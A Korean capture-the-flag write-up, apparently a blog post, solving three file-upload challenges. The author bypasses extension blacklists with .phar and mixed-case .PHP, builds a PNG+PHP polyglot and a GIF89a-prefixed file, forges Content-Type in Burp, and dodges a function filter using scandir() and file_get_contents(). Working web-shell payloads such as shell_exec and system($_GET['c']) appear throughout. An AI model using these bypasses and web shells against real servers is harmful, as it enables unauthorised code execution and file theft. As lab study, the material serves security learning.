파일 업로드 필터 우회 — 확장자·MIME·매직 바이트 분석
이번에는 파일 업로드 취약점을 이용해서 FLAG를 찾는 문제였다.
지금까지는 웹쉘 PHP 파일을 올린 다음 업로드 경로를 찾아서 URL로 실행시키면 웹쉘이 실행되는 식이었는데, 당연히 실제 웹사이트에서는 .php 파일을 그냥 업로드하게 내버려두지 않는다.
그래서 이번 문제들은 업로드 파일을 검사하는 여러 필터가 적용된 웹페이지에서, 그 필터가 어떤 기준으로 동작하는지 하나씩 확인하고 우회해서 FLAG를 찾는 방식이었다.
중요한 건 단순히 파일이 업로드됐는지만 보는 게 아니라는 점이다.
업로드 성공
≠
코드 실행 성공
파일이 서버에 저장됐더라도 해당 확장자를 서버가 PHP 코드로 해석하지 않으면 코드가 그대로 노출되거나 단순 파일로 반환될 뿐이다.
1번 — Extension Filter

처음에 평범한 PHP 웹쉘 파일을 그대로 올려봤는데, 예상대로 바로 차단된 확장자입니다.라는 메시지가 나오면서 업로드가 실패했다.
그렇다면 먼저 해야 할 일은 어떤 확장자는 차단되고, 어떤 확장자는 통과하는지 매핑하는 것이다.
확장자 필터 매핑
여러 파일명으로 업로드를 시도해 본 결과는 다음과 같았다.
| 파일명 | 결과 |
|---|---|
x.php | ❌ 차단 |
x.phtml | ❌ 차단 |
x.pht | ❌ 차단 |
x.php5 | ❌ 차단 |
x.PHP | ❌ 차단 |
x.jpg.php | ❌ 차단 |
x.php.jpg | ✅ 업로드 성공, 실행 안 됨 |
x.phps | ✅ 업로드 성공, 실행 안 됨 |
x.php. | ✅ 업로드 성공, 실행 안 됨 |
x.php;.jpg | ✅ 업로드 성공, 실행 안 됨 |
x.phar | ✅ 업로드 성공, 실행됨 |
x.jpg.php는 마지막 확장자가 .php이기 때문에 차단되었다.
반대로 x.php.jpg, x.phps, x.php., x.php;.jpg는 업로드 자체는 됐지만, 파일에 접근했을 때 PHP 코드가 그대로 노출되면서 실행되지 않았다.
결국 .phar 확장자만 업로드도 되고 PHP 코드 실행까지 되는 것을 확인했다.
즉 필터는 대략 이런 식으로 동작하고 있었다.
최종 확장자를 기준으로 검사
→ php, phtml, pht, php5 등은 차단
→ 대소문자도 구분하지 않고 차단
→ 하지만 phar는 블랙리스트에서 누락
그리고 서버 쪽에서는 .phar 파일을 PHP 실행 대상으로 처리하고 있었다.
업로드 필터
→ .phar 허용
웹 서버
→ .phar를 PHP로 실행
이 두 조건이 동시에 맞아서 우회가 가능했다.
실행 확인
먼저 실제로 PHP 코드가 실행되는지 확인하기 위해 간단한 테스트 코드를 넣었다.
<?php echo "EXEC".(7*7)."MARK"; ?>
파일명을 .phar로 업로드한 뒤 접근했을 때 다음과 같이 출력되었다.
EXEC49MARK
PHP 코드가 그대로 노출되는 것이 아니라 계산 결과만 출력됐기 때문에, .phar 파일이 PHP 코드로 실행된다는 것을 확인할 수 있었다.
FLAG 획득
실행이 확인된 뒤에는 FLAG 파일을 찾는 코드를 넣었다.
<?php
$out = shell_exec('cat /flag* 2>/dev/null; find / -iname "*flag*" 2>/dev/null');
echo $out;
?>
이 코드는 루트 경로의 /flag* 파일 내용을 출력하고, 이어서 전체 파일시스템에서 이름에 flag가 들어가는 파일을 탐색한다.
오류 메시지는 2>/dev/null로 숨겼다.
이렇게 .phar 파일로 업로드하고 실행해서 FLAG를 확인했다.
1번 정리
이 문제의 핵심은 단순히 업로드 가능한 확장자를 찾는 것이 아니었다.
업로드 가능
+
PHP 코드 실행 가능
이 두 조건을 모두 만족하는 확장자를 찾아야 했다.
최종적으로 .phar가 필터에서 누락되어 있었고, 서버에서는 .phar를 PHP로 실행하고 있었기 때문에 공격이 가능했다.
2번 — 이미지 자료실
2번도 화면 자체는 1번과 비슷했지만, 이번에는 페이지에 이미지 자료실이라고 적혀 있었다.

이미지 자료실이라는 것은 단순히 파일 확장자만 확인하는 것이 아니라, 실제 파일 내용이 이미지인지까지 확인할 가능성이 높다는 뜻이다.
그래서 1번처럼 순수 PHP 코드가 들어 있는 .phar 파일을 그대로 올려봤지만 업로드에 실패했다.
필터 매핑
여러 파일을 업로드해 보면서 다음과 같은 결과를 확인했다.
| 업로드 파일 | 결과 |
|---|---|
순수 PHP 코드가 들어 있는 .php | ❌ 확장자 차단 |
순수 PHP 코드가 들어 있는 .phar | ❌ 콘텐츠 검증 실패 |
| 정상 PNG 파일 | ✅ 통과 |
정상 PNG 뒤에 PHP 코드를 붙인 .png | ✅ 통과, 이미지로 반환 |
정상 PNG 뒤에 PHP 코드를 붙인 .php.png | ✅ 통과, 이미지로 반환 |
여기서 알 수 있었던 건 다음과 같다.
.php 계열
→ 확장자 단계에서 차단
.png
→ PNG로 인식되면 업로드 가능
.phar
→ 확장자 필터에는 걸리지 않음
→ 하지만 순수 PHP 내용이라 이미지 검증에서 실패
즉 .phar는 1번과 마찬가지로 실행 가능한 확장자였지만, 이번에는 파일 내용이 이미지여야 한다는 조건이 추가된 것이다.
폴리글랏 우회
두 가지 사실을 합치면 해결 방법이 나온다.
1. 파일 내용은 PNG로 인식되어야 함
2. 파일 확장자는 .phar여야 PHP로 실행됨
그래서 정상 PNG 파일 뒤에 PHP 코드를 덧붙인 폴리글랏 파일을 만들었다.
구조는 대략 이런 식이다.
[정상 PNG 파일 전체]
[IEND]
<?php echo "EXEC".(7*7)."MARK"; ?>
PNG 파일은 IEND 청크에서 이미지가 끝났다고 판단하고, 뒤에 붙은 추가 데이터를 무시할 수 있다.
반면 PHP 인터프리터는 파일 안의 <?php ... ?> 부분을 찾아서 실행할 수 있다.
즉 하나의 파일을 서로 다른 검사기가 다르게 해석하는 것이다.
이미지 검사기
→ 정상 PNG 파일로 판단
웹 서버
→ .phar 확장자를 보고 PHP로 실행
이 파일을 만들 때는 정상 PNG 파일을 복사한 뒤 PHP 코드를 이어 붙였다.
cp normal.png polyglot.phar
printf '\n<?php echo "EXEC".(7*7)."MARK"; ?>' >> polyglot.phar
중요한 점은 단순히 PNG 매직바이트 몇 바이트만 붙이는 것이 아니라, 정상적으로 인식되는 PNG 파일 전체 뒤에 PHP 코드를 붙이는 것이다.
단순 시그니처만 넣어도 허술한 검사는 통과할 수 있지만, getimagesize()처럼 실제 이미지 구조를 어느 정도 확인하는 경우에는 실패할 수 있다.
Burp 요청 수정
파일명은 .phar로 두고, Burp에서 업로드 요청의 MIME을 이미지 형식으로 맞췄다.
Content-Disposition: form-data; name="attachment"; filename="polyglot.phar"
Content-Type: image/png
파일 내용은 다음 구조였다.
정상 PNG 데이터
+
PHP 코드
즉 최종 구성은 다음과 같다.
파일명: polyglot.phar
Content-Type: image/png
파일 내용: 정상 PNG + PHP 코드
이렇게 하면 다음 조건을 만족한다.
확장자 검사
→ .phar는 차단 목록에 없어서 통과
업로드 요청의 MIME
→ image/png로 설정
이미지 콘텐츠 검사
→ 정상 PNG 구조라서 통과
실행 단계
→ .phar를 PHP 코드로 해석
업로드 후 file.php?id= 경로로 접근했을 때 다음과 같이 출력되었다.
EXEC49MARK
이 결과로 폴리글랏 파일 안의 PHP 코드가 실제로 실행된다는 것을 확인했다.
그다음 같은 방식으로 명령 실행 코드를 넣어 FLAG를 획득했다.
2번 정리
1번은 주로 확장자 필터를 우회하면 됐지만, 2번은 파일 내용까지 이미지로 인식되어야 했다.
최종 업로드 요청은 다음과 같이 구성했다.
파일명: polyglot.phar
Content-Type: image/png
파일 내용: 정상 PNG + PHP 코드
확장자는 .phar로 실행 조건을 만족시키고, 파일 내용은 정상 PNG로 구성해 이미지 콘텐츠 검증을 통과했다.
정상 PNG
+
PHP 코드
+
.phar 확장자
이미지 검사기는 PNG로 인식하고, 웹 서버는 .phar를 PHP로 실행하면서 필터 우회가 가능했다.
3번 — File Upload Filter Bypass

3번 페이지다.
문제 설명을 보면 이번에는 단순 확장자 필터만 있는 것이 아니라, 여러 검증이 한꺼번에 적용되어 있었다.
MIME 검사
첫 번째 확장자 화이트리스트
GIF 시그니처 검사
소문자 스크립트 확장자 차단
PHP 코드 내용 필터
처음부터 필터가 여러 개 섞여 있었기 때문에, 이번에도 한 번에 우회하려고 하기보다 각 조건을 하나씩 분리해서 확인했다.
적용된 필터
문제 단서에서 확인할 수 있었던 조건은 다음과 같다.
Content-Type이image/로 시작해야 한다.- 첫 번째 확장자가 화이트리스트에 포함된 이미지 확장자여야 한다.
- 파일 내용이 GIF 시그니처로 시작해야 한다.
- 소문자 스크립트 확장자는 차단된다.
즉 최종적으로 업로드하려는 파일은 대략 이런 형태를 만족해야 한다.
파일명: 이미지확장자.스크립트확장자
Content-Type: image/gif
파일 내용: GIF 시그니처 + PHP 코드
1. 확장자 필터 매핑
먼저 어떤 파일명이 업로드되고, 어떤 파일명이 실행되는지 확인했다.
| 파일명 | 결과 |
|---|---|
a.gif | ✅ 정상 이미지로 업로드 |
c.gif.php | ❌ 소문자 PHP 확장자 차단 |
l.gif.phar | ❌ 소문자 스크립트 확장자 차단 |
m.gif.php5 | ❌ 소문자 스크립트 확장자 차단 |
d.gif.PHP | ✅ 업로드 및 실행 |
e.gif.pHp | ✅ 업로드 및 실행 |
j.gif.Php | ✅ 업로드 및 실행 |
n.gif.PHTML | ✅ 업로드 및 실행 |
여기서 알 수 있었던 핵심은 확장자 차단이 소문자 문자열만 대상으로 동작하고 있었다는 점이다.
.gif.php
→ 소문자 php라 차단
.gif.PHP
→ 대문자가 포함되어 필터 통과
필터는 .php 같은 소문자 확장자만 막고 있었지만, 이번 실습 서버의 Apache/PHP 설정에서는 .PHP, .pHp, .Php 같은 대소문자 변형도 PHP 코드로 실행되었다.
즉 필터와 웹 서버가 확장자를 해석하는 방식에 차이가 있었다.
업로드 필터
→ 소문자 .php만 차단
이번 실습 서버
→ .PHP, .pHp, .Php도 PHP로 실행
이 차이를 이용해서 gif.PHP 같은 파일명으로 우회할 수 있었다.
2. 첫 번째 확장자 화이트리스트 우회
이 문제는 첫 번째 확장자가 이미지 확장자여야 했다.
예를 들어:
x.PHP
처럼 스크립트 확장자만 사용하면 첫 번째 확장자가 이미지가 아니기 때문에 필터를 통과하지 못한다.
그래서 파일명을 다음과 같이 구성했다.
x.gif.PHP
이 파일명은 필터와 서버에서 각각 다르게 해석된다.
첫 번째 확장자 검사
→ gif
→ 이미지 확장자이므로 통과
최종 확장자 실행
→ PHP
→ 이번 실습 서버가 PHP 코드로 실행
즉 첫 번째 확장자는 업로드 필터를 통과하기 위한 용도이고, 마지막 확장자는 서버에서 PHP 코드를 실행하기 위한 용도였다.
3. MIME 타입 검사
이번 문제는 Content-Type도 확인했다.
따라서 Burp Suite에서 업로드 요청의 파일 부분을 다음처럼 설정했다.
Content-Disposition: form-data; name="attachment"; filename="x.gif.PHP"
Content-Type: image/gif
Content-Type이 image/로 시작하지 않으면 업로드가 거부되기 때문에 image/gif로 맞춰야 했다.
다만 Content-Type은 요청자가 직접 지정할 수 있는 값이기 때문에, 이 값만으로 실제 GIF 파일인지 보장되지는 않는다.
그래서 서버는 파일 내용의 GIF 시그니처까지 추가로 검사하고 있었다.
4. GIF 시그니처 우회
파일 내용은 반드시 GIF 시그니처로 시작해야 했다.
GIF 파일의 대표적인 시그니처는 다음 두 가지다.
GIF87a
GIF89a
16진수로 보면 다음과 같다.
GIF87a → 47 49 46 38 37 61
GIF89a → 47 49 46 38 39 61
이번 문제에서는 파일 내용 앞부분에 GIF87a 또는 GIF89a를 넣고, 그 뒤에 PHP 코드를 붙였다.
예:
GIF89a
<?php echo "EXEC".(7*7)."MARK"; ?>
파일명과 MIME 타입까지 합치면 최종 형태는 다음과 같다.
파일명: x.gif.PHP
Content-Type: image/gif
파일 내용: GIF89a + PHP 코드
이렇게 하면 각 검사를 다음과 같이 통과한다.
MIME 검사
→ image/gif라 통과
첫 번째 확장자 검사
→ gif라 통과
GIF 시그니처 검사
→ GIF89a로 시작해서 통과
소문자 확장자 검사
→ .PHP는 대문자가 포함되어 통과
업로드 후 파일에 접근했을 때 다음과 같이 출력되었다.
EXEC49MARK
PHP 코드가 그대로 노출되는 것이 아니라 계산 결과만 출력되었기 때문에, 실제로 PHP 코드가 실행된다는 것을 확인할 수 있었다.
3-2에서는 정상 PNG 전체 뒤에 PHP 코드를 추가한 폴리글랏 파일을 사용했다.
반면 3-3에서는 서버가 파일의 시작 부분인 GIF87a 또는 GIF89a만 확인했기 때문에, GIF 시그니처 뒤에 PHP 코드를 배치해 검사를 우회할 수 있었다.
정상 GIF 전체 구조가 필요한 것은 아니었으므로, 엄밀히는 폴리글랏보다는 매직바이트를 이용한 시그니처 검사 우회에 더 가까웠다.
5. 업로드 성공과 실행 성공
처음에는 정상 GIF 파일과 PHP 코드가 들어 있는 GIF 파일을 구분하면서 테스트했다.
a.gif
→ 정상 이미지로 업로드
x.gif.PHP
→ 업로드 후 PHP 코드 실행
중요한 점은 업로드 성공과 실행 성공을 따로 확인해야 한다는 것이다.
업로드 성공
→ 파일이 서버에 저장됨
실행 성공
→ 서버가 파일 안의 PHP 코드를 실제로 실행함
이번 문제에서는 gif.PHP처럼 조건을 만족하는 파일은 업로드된 뒤 file.php?id=로 접근했을 때 PHP 코드가 실행되었다.
6. PHP 코드 내용 필터
확장자와 GIF 시그니처 우회까지 성공한 뒤, 웹쉘 코드를 넣어 FLAG를 찾으려고 했다.
하지만 플래그 추출용 페이로드가 계속 거부되었다.
이를 통해 이번 문제에는 업로드 파일의 PHP 코드 내용까지 검사하는 필터가 있다는 것을 알게 되었다.
테스트 결과는 다음과 같았다.
| 함수 | 결과 |
|---|---|
shell_exec() | ❌ 차단 |
system() | ❌ 차단 |
exec() | ❌ 차단 |
passthru() | ❌ 차단 |
popen() | ✅ 허용 |
readfile() | ✅ 허용 |
file() | ✅ 허용 |
scandir() | ✅ 허용 |
file_get_contents() | ✅ 허용 |
glob() | ✅ 허용 |
일반적으로 웹쉘에서 자주 사용하는 명령 실행 함수들은 차단되어 있었다.
system($_GET['c']);
shell_exec($_GET['c']);
exec($_GET['c']);
이런 코드는 업로드 단계에서 필터에 걸렸다.
readfile(), file(), scandir(), file_get_contents() 같은 파일 처리 함수는 허용되었고, 프로세스를 실행하는 popen()도 차단 목록에서는 누락되어 있었다.
이번 풀이에서는 쉘 명령을 실행하는 대신 PHP 자체의 파일 처리 함수를 사용했다.
7. PHP 파일 함수로 파일시스템 탐색
명령 실행 함수가 막혀 있었기 때문에 scandir()와 file_get_contents()를 사용했다.
먼저 /opt 디렉터리의 내용을 확인했다.
GIF89a
<?php
print_r(scandir("/opt"));
?>
scandir()는 지정한 디렉터리 안의 파일과 하위 디렉터리 목록을 배열로 반환한다.
실행 결과 숨김 디렉터리인 다음 경로를 발견했다.
/opt/.challenge-3-3/
그다음 해당 디렉터리를 다시 탐색했다.
GIF89a
<?php
print_r(scandir("/opt/.challenge-3-3"));
?>
그 결과 flag.txt 파일을 발견할 수 있었다.
/opt/.challenge-3-3/flag.txt
마지막으로 file_get_contents()를 사용해 FLAG 파일을 읽었다.
GIF89a
<?php
echo file_get_contents("/opt/.challenge-3-3/flag.txt");
?>
이렇게 해서 쉘 명령 실행 함수 없이도 FLAG를 확인할 수 있었다.
전체 우회 구조
최종적으로 업로드한 파일은 다음 조건을 모두 만족해야 했다.
파일명: x.gif.PHP
Content-Type: image/gif
파일 내용:
GIF89a
<?php ... ?>
각 필터를 통과한 방식은 다음과 같다.
| 필터 | 우회 방법 |
|---|---|
| MIME 검사 | Content-Type: image/gif |
| 첫 번째 확장자 화이트리스트 | 첫 번째 확장자를 .gif로 설정 |
| GIF 시그니처 검사 | 파일 내용을 GIF87a 또는 GIF89a로 시작 |
| 소문자 스크립트 확장자 차단 | .PHP, .pHp, .Php처럼 대소문자 변형 |
| 위험 함수 필터 | scandir(), file_get_contents() 같은 허용 함수 사용 |
3번 문제 정리
3번 문제는 총 세 단계로 나누어 생각할 수 있었다.
1단계 — 업로드 필터 우회
MIME 타입
+
첫 번째 확장자
+
GIF 시그니처
+
대소문자 확장자
이 조건을 모두 만족하는 파일을 만들어 업로드했다.
2단계 — PHP 실행 확인
GIF89a
<?php echo "EXEC".(7*7)."MARK"; ?>
를 업로드한 뒤 EXEC49MARK가 출력되는 것을 보고 PHP 코드 실행을 확인했다.
3단계 — 코드 내용 필터 우회
system, exec, shell_exec, passthru
→ 차단
scandir, file_get_contents
→ 허용
차단된 명령 실행 함수를 피해 PHP 파일 함수만으로 파일시스템을 탐색하고 FLAG를 읽었다.
이번 문제는 단순히 확장자 하나만 바꾸는 문제가 아니라, 여러 필터가 동시에 적용되어 있었다.
하지만 조건을 하나씩 분리해서 보면 다음과 같이 정리할 수 있었다.
MIME 맞추기
→ 첫 번째 확장자를 gif로 설정
→ GIF 시그니처 추가
→ 마지막 확장자를 대문자 PHP로 설정
→ 실행 확인
→ 위험 함수 필터 확인
→ 허용된 PHP 파일 함수로 FLAG 읽기
처음에는 필터가 많아서 복잡해 보였지만, 하나씩 매핑해 보니 결국 각 필터의 허점을 연결해서 해결하는 문제였다.
원본 · velog.io